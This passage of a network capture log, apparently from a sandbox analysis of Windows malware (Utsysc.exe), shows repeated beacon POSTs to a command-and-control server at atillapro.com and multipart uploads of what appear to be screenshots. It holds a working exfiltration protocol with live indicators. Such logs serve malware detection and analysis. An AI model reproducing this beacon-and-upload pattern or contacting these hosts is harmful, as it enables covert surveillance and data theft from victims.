Apr 10, 2024 10:24:33.623604059 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:33.810080051 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:33.827951908 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:34.018925905 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49760	216.250.255.115	80	6800	C:\Windows\SysWOW64\dialer.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:33.742289066 CEST	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 66 16 4c c0 86 1e cd cf 4b 3f 58 9a de e7 7f 0f 0a 05 7f 3f 27 e0 98 3d 92 b4 1e de 5a a0 cd bc 00 00 50 cc a8 cc a9 cc aa c0 2c c0 30 00 9f c0 24 c0 28 00 6b c0 0a c0 14 00 39 c0 2b c0 2f 00 9e c0 23 c0 27 00 67 Data Ascii: fLK?X?'=ZP,0$(k9+/#'g3=52*.&</1)-%H#
Apr 10, 2024 10:24:33.908565044 CEST	1289	IN	Data Raw: 16 03 03 00 37 02 00 00 33 03 03 d4 54 4a bd 82 6d 46 fe 7e 6b 74 3d ad 1d 20 64 13 d2 09 a1 b3 32 99 d5 33 88 1a 20 4e bd 5f 69 00 cc a8 00 00 0b ff 01 00 01 00 00 0b 00 02 01 00 16 03 03 03 ab 0b 00 03 a7 00 03 a4 00 03 a1 30 82 03 9d 30 82 02 Data Ascii: 73TJmF~kt= d23 N_i00A`.eVhe0*H0~10UXX10UN/A10UN/A1 0USelf-signed certificate110/U(216.250.255.115: Self-signed c
Apr 10, 2024 10:24:33.908585072 CEST	130	IN	Data Raw: b9 bc a7 13 18 d4 52 30 6b 15 a2 0e 5c f4 2e 7d 62 e9 77 ae 1f 0e fb 56 29 63 bf 75 c5 dd 57 19 3d 61 9c e4 fd 0c 07 c8 50 8b 00 62 ce 18 83 3e f2 b1 18 18 05 96 93 9d e2 38 ab dd 6d 61 6f 87 e4 ec e3 98 45 2c cf 5c fd f0 06 f2 8b ea 88 a0 cd 8d Data Ascii: R0k\.}bwV)cuW=aPb>8maoE,\rd[o@K4`YW
Apr 10, 2024 10:24:33.944590092 CEST	186	OUT	Data Raw: 16 03 03 00 8a 10 00 00 86 85 04 00 8c c4 c1 11 5f 50 4f 42 8e a9 13 ae 40 9b 1e af 94 b1 df de 4b b7 e0 e5 bf d7 e5 de 0c 63 7a 05 c2 69 28 81 d7 c4 c2 67 bb ee 66 86 82 5e 5c d8 69 43 5c 7a 06 53 48 8b af 2c fe 16 ee 1d 07 8a b1 01 50 13 45 53 Data Ascii: _POB@Kczi(gf^\iC\zSH,PES_J_dYctZI+E{gN.fck?Fr ^Rrv&0F@fs1qO
Apr 10, 2024 10:24:34.118469954 CEST	43	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 20 61 07 a8 45 03 31 4b 90 e4 fb c7 98 e1 af a7 09 f0 73 1b 3d 84 d1 c3 81 f4 52 5b 05 1c 87 5d 6f Data Ascii: aE1Ks=R[]o
Apr 10, 2024 10:24:34.125925064 CEST	620	OUT	Data Raw: 17 03 03 02 67 22 70 48 3c c0 01 cc ce 41 4d 4f 42 da 73 7a 62 e7 de 59 97 a6 ea a4 66 33 b2 63 70 eb 2a 8b 88 45 3f 96 5c 72 a6 8e 28 99 ca 15 93 57 2f 51 65 65 f8 4e df a6 68 5b b3 8f c2 4b 09 84 0e ed 21 d3 70 5b 23 f8 a0 f7 8a 46 92 4f 21 0f Data Ascii: g"pH<AMOBszbYf3cpE?\r(W/QeeNh[K!p[#FO!#zaN_ZipC1c@W2/!lYrJw\-B`8w\CP?^Df8pm`ai#D=L6#:6hG
Apr 10, 2024 10:24:34.324935913 CEST	1208	IN	Data Raw: 17 03 03 04 b3 58 67 12 dd d7 27 08 35 e9 8b 14 34 74 af a3 59 06 89 8e 4f 44 20 a9 a5 37 10 c5 16 e7 ee cf d3 62 13 ce 2c f5 3b eb 56 ba 3e 58 45 f5 dd 34 8a 38 3a a2 68 13 2e 9a 18 cc a0 ff 51 52 38 da 4a 5b ee 28 dd e0 90 b4 66 2d f5 86 4c 80 Data Ascii: Xg'54tYOD 7b,;V>XE48:h.QR8J[(f-Lb<xb}jYf>=bL+wfu4p2&>nXpFr&BZ5xcy}j@H~`0u8p"4tp6cPit~+L9"7.
Apr 10, 2024 10:24:34.324958086 CEST	1289	IN	Data Raw: 17 03 03 09 56 8c 34 6d 77 66 60 eb ae 4a 0e 6c 39 4d e1 9b 00 c6 e4 c7 1a 23 8f d0 59 07 b2 7e 4d 8c a5 d6 41 6b 6d 39 33 0d 4e 07 05 62 79 b4 7f 65 18 12 01 a7 9a fc 0a dd 01 a5 64 44 5a 10 a5 0a d3 fe fe f6 c9 5a a2 68 1a 8c 20 44 d5 75 0c 77 Data Ascii: V4mwf`Jl9M#Y~MAkm93NbyedDZZh Duw&It7%CAD%IK9-0SR/Ti,s>T_P_wfI)]uw.kyc[~Idg<`/CU"2rZHl?d"f9b~upk
Apr 10, 2024 10:24:34.324970007 CEST	1106	IN	Data Raw: 15 18 c1 3e 3d 64 b3 05 a8 0c ee b2 aa da dd 6e b4 1f 89 93 e6 49 50 44 24 8d b3 fe 7f 55 36 02 d0 6f 5a fa aa d6 1e 47 f7 b5 64 20 bf bf e7 09 04 d8 bd 57 3f 58 b7 21 b5 85 b1 7d 5c 2b 07 f1 05 63 15 8b 7b 9e fe f3 f2 fd e6 29 c4 51 1d 71 1c 20 Data Ascii: >=dnIPD$U6oZGd W?X!}\+c{)Qq 4H\nKp@tVfRbrWT-g9(svz`=&u$4Tb\"/wtZd/`boD@Jo,BH`jk8,JaU%
Apr 10, 2024 10:24:34.324980974 CEST	1289	IN	Data Raw: 17 03 03 02 27 cb be 4a 2d 35 ef 02 4c 56 34 48 9d c4 df 30 9c e9 ad 1f b3 07 43 b1 95 a4 7f d2 b2 da 86 68 0b 0d d4 6f c3 3a ec b6 ee c1 ee 86 65 38 dd 91 39 62 94 6c 40 94 e2 d1 31 20 6e 3d 85 26 5e 0a 5c c1 26 ca d3 c4 fc 3d 07 43 7c 33 0f f4 Data Ascii: 'J-5LV4H0Cho:e89bl@1 n=&^\&=C\|3H"_:4n~k!vjYgEE:@>q!8 >CM:U ^k 58?KL\|fM/>^]zN+@u5(ztnfLb3=4<f!(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49761	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:34.310666084 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:34.496959925 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:34.497725010 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:34.699122906 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>
Apr 10, 2024 10:24:34.777425051 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----OTExMjQ= Host: atillapro.com Content-Length: 91276 Cache-Control: no-cache
Apr 10, 2024 10:24:34.777425051 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 54 45 78 4d 6a 51 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------OTExMjQ=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:34.777498007 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:34.777498007 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:34.777546883 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:34.777546883 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:34.777580023 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:34.777580023 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:34.777618885 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:34.777618885 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:34.777662992 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:36.472426891 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49762	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:35.032166004 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:35.218799114 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:35.227788925 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:35.425194979 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49763	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:35.717314959 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:35.903915882 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:35.904838085 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:36.095928907 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49764	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:36.394108057 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:36.580643892 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:36.599334955 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:36.805783987 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.5	49765	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:37.760720015 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:37.947319031 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:38.689233065 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:38.888860941 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49766	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:37.760840893 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:37.760914087 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:37.761010885 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:37.761010885 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:37.761010885 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:37.761059046 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:37.761059046 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:37.761081934 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:37.761102915 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:37.761127949 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:37.761127949 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:39.509658098 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49767	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:39.207657099 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:39.395431042 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:39.396286011 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:39.608509064 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49768	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:39.937417030 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:40.124213934 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:40.218099117 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:40.426784992 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49769	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:40.074561119 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:40.074561119 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:40.074561119 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:40.074692011 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:40.074692011 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:40.074692011 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:40.074762106 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:40.074762106 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:40.074762106 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:40.074810028 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:40.074810028 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:41.766885996 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49770	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
